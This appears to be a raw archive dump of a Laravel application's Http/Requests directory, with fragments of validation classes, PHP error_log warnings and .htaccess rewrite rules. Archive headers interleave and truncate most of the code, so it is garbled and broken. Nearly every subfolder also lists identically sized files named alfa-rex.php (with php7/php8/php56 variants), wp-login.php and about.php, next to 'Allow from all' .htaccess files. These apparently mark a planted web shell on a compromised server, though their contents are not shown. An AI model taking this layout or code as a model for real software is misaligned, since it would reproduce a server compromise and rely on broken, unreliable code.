0ustar00Http/Requests/TimeLogSetting/alfa-rex.php8000064400000026574150325104510014506 0ustar00Http/Requests/TimeLogSetting/wp-login.php000064400000026574150325104510014453 0ustar00Http/Requests/TimeLogSetting/alfa-rex.php56000064400000026574150325104510014571 0ustar00Http/Requests/TimeLogSetting/about.php000064400000026574150325104510014031 0ustar00Http/Requests/TimeLogSetting/error_log000064400000001626150325104510014112 0ustar00[04-Jul-2025 14:10:38 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 15:19:55 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/TimeLogSetting/UpdateTimeLog.php000064400000001200150325104510015375 0ustar00has('timelog_report') && $this->timelog_report == 1) { $data['daily_report_roles'] = 'required'; } return $data; } } Http/Requests/TimeLogSetting/about.php7000064400000026574150325104510014120 0ustar00Http/Requests/UpdateVisaRequest.php000064400000001522150325104510013421 0ustar00 */ public function rules() { $setting = company(); return [ 'visa_number' => 'required|unique:visa_details,visa_number,' . $this->route('employee_visa').',id,company_id,' . $setting->id, 'issue_date' => 'required', 'expiry_date' => 'required|date_format:"' . $setting->date_format . '"|after_or_equal:issue_date', 'country' => 'required' ]; } } Http/Requests/CommonRequest.php000064400000000673150325104510012612 0ustar00Http/Requests/StoreBusinessAddress.php000064400000001052150325104510014117 0ustar00 'required', 'address' => 'required' ]; } } Http/Requests/Issue/alfa-rex.php000064400000026574150325104510012610 0ustar00Http/Requests/Issue/.htaccess000064400000000544150325104510012163 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/Issue/alfa-rex.php7000064400000026574150325104510012677 0ustar00Http/Requests/Issue/alfa-rex.php8000064400000026574150325104510012700 0ustar00Http/Requests/Issue/wp-login.php000064400000026574150325104510012645 0ustar00Http/Requests/Issue/StoreIssue.php000064400000000773150325104510013207 0ustar00 'required' ]; } } Http/Requests/Issue/alfa-rex.php56000064400000026574150325104510012763 0ustar00Http/Requests/Issue/about.php000064400000026574150325104510012223 0ustar00Http/Requests/Issue/error_log000064400000001626150325104510012304 0ustar00[04-Jul-2025 13:31:25 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 13:34:44 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/Issue/about.php7000064400000026574150325104510012312 0ustar00Http/Requests/ProjectMembers/alfa-rex.php000064400000026574150325104510014441 0ustar00Http/Requests/ProjectMembers/.htaccess000064400000000544150325104510014014 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/ProjectMembers/alfa-rex.php7000064400000026574150325104510014530 0ustar00Http/Requests/ProjectMembers/alfa-rex.php8000064400000026574150325104510014531 0ustar00Http/Requests/ProjectMembers/wp-login.php000064400000026574150325104510014476 0ustar00Http/Requests/ProjectMembers/alfa-rex.php56000064400000026574150325104510014614 0ustar00Http/Requests/ProjectMembers/about.php000064400000026574150325104510014054 0ustar00Http/Requests/ProjectMembers/StoreProjectMembers.php000064400000001315150325104510016662 0ustar00 'required', 'hourly_rate' => 'nullable|numeric', ]; } public function messages() { return [ 'user_id.0.required' => __('messages.atleastOneValidation') ]; } } Http/Requests/ProjectMembers/SaveGroupMembers.php000064400000001301150325104510016145 0ustar00 'required', 'project_id' => 'required' ]; } public function messages() { return [ 'group_id.0.required' => __('validation.selectAtLeastOne'), ]; } } Http/Requests/ProjectMembers/error_log000064400000001626150325104510014135 0ustar00[04-Jul-2025 14:07:14 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 15:20:35 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/ProjectMembers/about.php7000064400000026574150325104510014143 0ustar00Http/Requests/PaymentGateway/alfa-rex.php000064400000026574150325104510014457 0ustar00Http/Requests/PaymentGateway/.htaccess000064400000000544150325104510014032 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/PaymentGateway/alfa-rex.php7000064400000026574150325104510014546 0ustar00Http/Requests/PaymentGateway/alfa-rex.php8000064400000026574150325104510014547 0ustar00Http/Requests/PaymentGateway/AuthorizeDetails.php000064400000001263150325104510016224 0ustar00 'required|numeric', 'expiration_month' => 'required', 'expiration_year' => 'required', 'cvv' => 'required|numeric|digits_between:3,4', ]; } } Http/Requests/PaymentGateway/wp-login.php000064400000026574150325104510014514 0ustar00Http/Requests/PaymentGateway/alfa-rex.php56000064400000026574150325104510014632 0ustar00Http/Requests/PaymentGateway/about.php000064400000026574150325104510014072 0ustar00Http/Requests/PaymentGateway/error_log000064400000001626150325104510014153 0ustar00[04-Jul-2025 14:34:48 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 15:21:12 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/PaymentGateway/UpdateGatewayCredentials.php000064400000012726150325104510017674 0ustar00payment_method == 'paypal' && $this->paypal_status == 'active') { return $this->paypalValidate(); } if ($this->payment_method == 'stripe' && $this->stripe_status == 'active') { return $this->stripeValidate(); } if ($this->payment_method == 'razorpay' && $this->razorpay_status == 'active') { return $this->razorpayValidate(); } if ($this->payment_method == 'paystack' && $this->paystack_status == 'active') { return $this->paystackValidate(); } if ($this->payment_method == 'flutterwave' && $this->flutterwave_status == 'active') { return $this->flutterwaveValidate(); } if ($this->payment_method == 'mollie' && $this->mollie_status == 'active') { return $this->mollieValidate(); } if ($this->payment_method == 'payfast' && $this->payfast_status == 'active') { return $this->payfastValidate(); } if ($this->payment_method == 'authorize' && $this->authorize_status == 'active') { return $this->authorizeValidate(); } if ($this->payment_method == 'square' && $this->square_status == 'active') { return $this->squareValidate(); } return $rules; } private function paypalValidate() { $rules = ['paypal_mode' => 'required|in:sandbox,live']; if ($this->paypal_mode == 'sandbox') { $rules['sandbox_paypal_client_id'] = 'required'; $rules['sandbox_paypal_secret'] = 'required'; } else { $rules['live_paypal_client_id'] = 'required'; $rules['live_paypal_secret'] = 'required'; } return $rules; } private function stripeValidate() { $rules = ['stripe_mode' => 'required|in:test,live']; if ($this->stripe_mode == 'test') { $rules['test_stripe_client_id'] = 'required'; $rules['test_stripe_secret'] = 'required'; } else { $rules['live_stripe_client_id'] = 'required'; $rules['live_stripe_secret'] = 'required'; } return $rules; } private function razorpayValidate() { $rules = ['razorpay_mode' => 'required|in:test,live']; if ($this->razorpay_mode == 'test') { $rules['test_razorpay_key'] = 'required'; $rules['test_razorpay_secret'] = 'required'; } else { $rules['live_razorpay_key'] = 'required'; $rules['live_razorpay_secret'] = 'required'; } return $rules; } private function paystackValidate() { $rules['paystack_mode'] = 'required|in:sandbox,live'; if ($this->paystack_mode == 'sandbox') { $rules['test_paystack_key'] = 'required'; $rules['test_paystack_secret'] = 'required'; $rules['test_paystack_merchant_email'] = 'required'; } else { $rules['paystack_key'] = 'required'; $rules['paystack_secret'] = 'required'; $rules['paystack_merchant_email'] = 'required'; } return $rules; } private function flutterwaveValidate() { $rules['flutterwave_mode'] = 'required|in:sandbox,live'; $rules['flutterwave_webhook_secret_hash'] = 'nullable'; if ($this->flutterwave_mode == 'sandbox') { $rules['test_flutterwave_key'] = 'required'; $rules['test_flutterwave_secret'] = 'required'; $rules['test_flutterwave_hash'] = 'required'; } else { $rules['live_flutterwave_key'] = 'required'; $rules['live_flutterwave_secret'] = 'required'; $rules['live_flutterwave_hash'] = 'required'; } return $rules; } private function mollieValidate() { $rules['mollie_api_key'] = 'required'; return $rules; } private function payfastValidate() { $rules = ['payfast_mode' => 'required|in:sandbox,live']; if ($this->payfast_mode == 'sandbox') { $rules['test_payfast_merchant_id'] = 'required'; $rules['test_payfast_merchant_key'] = 'required'; $rules['test_payfast_passphrase'] = 'required'; } else { $rules['payfast_merchant_id'] = 'required'; $rules['payfast_merchant_key'] = 'required'; $rules['payfast_passphrase'] = 'required'; } return $rules; } private function authorizeValidate() { $rules['authorize_api_login_id'] = 'required'; $rules['authorize_transaction_key'] = 'required'; $rules['authorize_environment'] = 'required'; return $rules; } private function squareValidate() { $rules['square_application_id'] = 'required'; $rules['square_access_token'] = 'required'; $rules['square_location_id'] = 'required'; $rules['square_environment'] = 'required'; return $rules; } } Http/Requests/PaymentGateway/FlutterwaveRequest.php000064400000001103150325104510016616 0ustar00 'required', 'email' => 'required|email:rfc,strict', ]; } } Http/Requests/PaymentGateway/about.php7000064400000026574150325104510014161 0ustar00Http/Requests/Team/alfa-rex.php000064400000026574150325104510012406 0ustar00Http/Requests/Team/StoreDepartment.php000064400000001404150325104510014010 0ustar00 'required|unique:teams,team_name,null,id,company_id,' . company()->id ]; } public function messages() { return [ 'team_name.required' => __('messages.departmentName'), 'team_name.unique' => __('messages.departmentUniq'), ]; } } Http/Requests/Team/.htaccess000064400000000544150325104510011761 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/Team/alfa-rex.php7000064400000026574150325104510012475 0ustar00Http/Requests/Team/alfa-rex.php8000064400000026574150325104510012476 0ustar00Http/Requests/Team/StoreTeam.php000064400000001211150325104510012567 0ustar00 'required' ]; } public function messages() { return [ 'team_name.required' => __('app.team').' '.__('app.required') ]; } } Http/Requests/Team/wp-login.php000064400000026574150325104510012443 0ustar00Http/Requests/Team/alfa-rex.php56000064400000026574150325104510012561 0ustar00Http/Requests/Team/about.php000064400000026574150325104510012021 0ustar00Http/Requests/Team/error_log000064400000001626150325104510012102 0ustar00[04-Jul-2025 13:31:22 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 14:05:22 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/Team/UpdateDepartment.php000064400000001123150325104510014134 0ustar00 'required|unique:teams,team_name,'.$this->route('department').',id,company_id,' . company()->id ]; } } Http/Requests/Team/about.php7000064400000026574150325104510012110 0ustar00Http/Requests/KnowledgeBase/alfa-rex.php000064400000026574150325104510014232 0ustar00Http/Requests/KnowledgeBase/.htaccess000064400000000544150325104510013605 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/KnowledgeBase/alfa-rex.php7000064400000026574150325104510014321 0ustar00Http/Requests/KnowledgeBase/alfa-rex.php8000064400000026574150325104510014322 0ustar00Http/Requests/KnowledgeBase/wp-login.php000064400000026574150325104510014267 0ustar00Http/Requests/KnowledgeBase/KnowledgeBaseStore.php000064400000001056150325104510016246 0ustar00 'required', 'category' => 'required', ]; } } Http/Requests/KnowledgeBase/alfa-rex.php56000064400000026574150325104510014405 0ustar00Http/Requests/KnowledgeBase/about.php000064400000026574150325104510013645 0ustar00Http/Requests/KnowledgeBase/error_log000064400000001626150325104510013726 0ustar00[04-Jul-2025 14:07:27 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 15:21:18 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/KnowledgeBase/KnowledgeBaseCategoryStore.php000064400000001025150325104510017740 0ustar00 'required' ]; } } Http/Requests/KnowledgeBase/about.php7000064400000026574150325104510013734 0ustar00Http/Requests/StoreDealNote.php000064400000001515150325104510012515 0ustar00|string> */ public function rules(): array { return [ 'details' => [ 'required', function ($attribute, $value, $fail) { $comment = trim_editor($value);; if ($comment == '') { $fail(__('validation.required')); } } ] ]; } } Http/Requests/CustomLink/alfa-rex.php000064400000026574150325104510013610 0ustar00Http/Requests/CustomLink/.htaccess000064400000000544150325104510013163 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/CustomLink/alfa-rex.php7000064400000026574150325104510013677 0ustar00Http/Requests/CustomLink/alfa-rex.php8000064400000026574150325104510013700 0ustar00Http/Requests/CustomLink/wp-login.php000064400000026574150325104510013645 0ustar00Http/Requests/CustomLink/alfa-rex.php56000064400000026574150325104510013763 0ustar00Http/Requests/CustomLink/about.php000064400000026574150325104510013223 0ustar00Http/Requests/CustomLink/error_log000064400000001626150325104510013304 0ustar00[04-Jul-2025 13:53:41 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 14:20:26 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/CustomLink/StoreCustomLink.php000064400000001404150325104510015177 0ustar00 */ public function rules() { return [ 'link_title' => 'required', 'url' => 'required|url', 'can_be_viewed_by' => 'required' ]; } public function messages() { return [ 'can_be_viewed_by.required' => __('messages.atleastOneRole') ]; } } Http/Requests/CustomLink/UpdateCustomLink.php000064400000001405150325104510015326 0ustar00 */ public function rules() { return [ 'link_title' => 'required', 'url' => 'required|url', 'can_be_viewed_by' => 'required' ]; } public function messages() { return [ 'can_be_viewed_by.required' => __('messages.atleastOneRole') ]; } } Http/Requests/CustomLink/about.php7000064400000026574150325104510013312 0ustar00Http/Requests/FollowUp/alfa-rex.php000064400000026574150325104510013267 0ustar00Http/Requests/FollowUp/.htaccess000064400000000544150325104510012642 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/FollowUp/alfa-rex.php7000064400000026574150325104510013356 0ustar00Http/Requests/FollowUp/alfa-rex.php8000064400000026574150325104510013357 0ustar00Http/Requests/FollowUp/wp-login.php000064400000026574150325104510013324 0ustar00Http/Requests/FollowUp/alfa-rex.php56000064400000026574150325104510013442 0ustar00Http/Requests/FollowUp/about.php000064400000026574150325104510012702 0ustar00Http/Requests/FollowUp/StoreRequest.php000064400000001531150325104510014217 0ustar00deal_id); $setting = company(); $rules = []; if(request()->has('send_reminder')){ $rules['remind_time'] = 'required'; } $rules['next_follow_up_date'] = 'required|date_format:"' . $setting->date_format . '"|after_or_equal:'.$deal->created_at->format($setting->date_format); return $rules; } } Http/Requests/FollowUp/error_log000064400000001626150325104510012763 0ustar00[04-Jul-2025 13:58:46 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 14:06:16 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/FollowUp/about.php7000064400000026574150325104510012771 0ustar00Http/Requests/FollowUp/DeleteRequest.php000064400000000455150325104510014331 0ustar00 'required', ]; } } Http/Requests/UpdateTemplateSetting.php000064400000001026150325104510014256 0ustar00 */ public function rules() { return [ 'template' => 'required', ]; } } Http/Requests/LeadSetting/alfa-rex.php000064400000026574150325104510013723 0ustar00Http/Requests/LeadSetting/.htaccess000064400000000544150325104510013276 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/LeadSetting/UpdateLeadPipeline.php000064400000001217150325104510015705 0ustar00 'required|unique:lead_pipelines,name,'.$this->route('lead_pipeline_setting').',id,company_id,' . company()->id, 'label_color' => 'required' ]; } } Http/Requests/LeadSetting/alfa-rex.php7000064400000026574150325104510014012 0ustar00Http/Requests/LeadSetting/StoreLeadStage.php000064400000001550150325104510015055 0ustar00 'required', 'label_color' => 'required' ]; if($this->pipeline) { $rule['name'] = [ 'required', Rule::unique('pipeline_stages', 'name')->where('company_id', company()->id)->whereIn('lead_pipeline_id', $this->pipeline), ]; } return $rule; } } Http/Requests/LeadSetting/StoreLeadSource.php000064400000001074150325104510015253 0ustar00 'required|unique:lead_sources,type,null,id,company_id,' . company()->id ]; } } Http/Requests/LeadSetting/alfa-rex.php8000064400000026574150325104510014013 0ustar00Http/Requests/LeadSetting/StoreLeadPipeline.php000064400000001151150325104510015554 0ustar00 'required|unique:lead_pipelines,name,null,id,company_id,' . company()->id, 'label_color' => 'required' ]; } } Http/Requests/LeadSetting/wp-login.php000064400000026574150325104510013760 0ustar00Http/Requests/LeadSetting/alfa-rex.php56000064400000026574150325104510014076 0ustar00Http/Requests/LeadSetting/about.php000064400000026574150325104510013336 0ustar00Http/Requests/LeadSetting/error_log000064400000001626150325104510013417 0ustar00[04-Jul-2025 14:51:44 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 15:20:02 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/LeadSetting/UpdateLeadSource.php000064400000001141150325104510015374 0ustar00 'required|unique:lead_sources,type,'.$this->route('lead_source_setting').',id,company_id,' . company()->id, ]; } } Http/Requests/LeadSetting/StoreLeadAgent.php000064400000001300150325104510015041 0ustar00 'required', 'category_id.0' => 'required' ]; } public function messages() { return [ 'category_id.0.required' => __('messages.atleastOneCategory'), ]; } } Http/Requests/LeadSetting/UpdateLeadAgent.php000064400000001112150325104510015170 0ustar00|string> */ public function rules() { return [ 'categoryId.0' => 'required', ]; } } Http/Requests/LeadSetting/UpdateLeadStatus.php000064400000001210150325104510015414 0ustar00 'required|unique:lead_status,type,'.$this->route('lead_status_setting').',id,company_id,' . company()->id, 'label_color' => 'required' ]; } } Http/Requests/LeadSetting/about.php7000064400000026574150325104510013425 0ustar00Http/Requests/LeadSetting/UpdateLeadStage.php000064400000001261150325104510015202 0ustar00 'required|unique:pipeline_stages,name,'.$this->route('lead_stage_setting').',id,company_id,' . company()->id.',lead_pipeline_id,' . $this->pipeline, 'label_color' => 'required' ]; } } Http/Requests/LeadSetting/StoreLeadStatus.php000064400000001144150325104510015274 0ustar00 'required|unique:lead_status,type,null,id,company_id,' . company()->id, 'label_color' => 'required' ]; } } Http/Requests/about.php000064400000026574150325104510011133 0ustar00Http/Requests/ProposalTemplate/alfa-rex.php000064400000026574150325104510015013 0ustar00Http/Requests/ProposalTemplate/.htaccess000064400000000544150325104510014366 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/ProposalTemplate/alfa-rex.php7000064400000026574150325104510015102 0ustar00Http/Requests/ProposalTemplate/alfa-rex.php8000064400000026574150325104510015103 0ustar00Http/Requests/ProposalTemplate/wp-login.php000064400000026574150325104510015050 0ustar00Http/Requests/ProposalTemplate/alfa-rex.php56000064400000026574150325104510015166 0ustar00Http/Requests/ProposalTemplate/about.php000064400000026574150325104510014426 0ustar00Http/Requests/ProposalTemplate/StoreRequest.php000064400000001113150325104510015737 0ustar00 'required', 'total' => 'required', 'name' => 'required' ]; } } Http/Requests/ProposalTemplate/error_log000064400000001626150325104510014507 0ustar00[04-Jul-2025 14:24:37 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 14:32:15 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/ProposalTemplate/about.php7000064400000026574150325104510014515 0ustar00Http/Requests/Sticky/alfa-rex.php000064400000026574150325104510012766 0ustar00Http/Requests/Sticky/.htaccess000064400000000544150325104510012341 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/Sticky/alfa-rex.php7000064400000026574150325104510013055 0ustar00Http/Requests/Sticky/alfa-rex.php8000064400000026574150325104510013056 0ustar00Http/Requests/Sticky/wp-login.php000064400000026574150325104510013023 0ustar00Http/Requests/Sticky/alfa-rex.php56000064400000026574150325104510013141 0ustar00Http/Requests/Sticky/about.php000064400000026574150325104510012401 0ustar00Http/Requests/Sticky/StoreStickyNote.php000064400000001104150325104510014356 0ustar00 'required' ]; } } Http/Requests/Sticky/error_log000064400000001626150325104510012462 0ustar00[04-Jul-2025 13:32:00 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 13:34:26 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/Sticky/UpdateStickyNote.php000064400000001106150325104510014506 0ustar00 'required' ]; } } Http/Requests/Sticky/about.php7000064400000026574150325104510012470 0ustar00Http/Requests/UpdateQuickBooksSetting.php000064400000001575150325104510014566 0ustar00 */ public function rules() { if (!request()->has('status')) { return []; } $rules = ['environment' => 'required|in:Production,Development']; if ($this->environment == 'Development') { $rules['sandbox_client_id'] = 'required'; 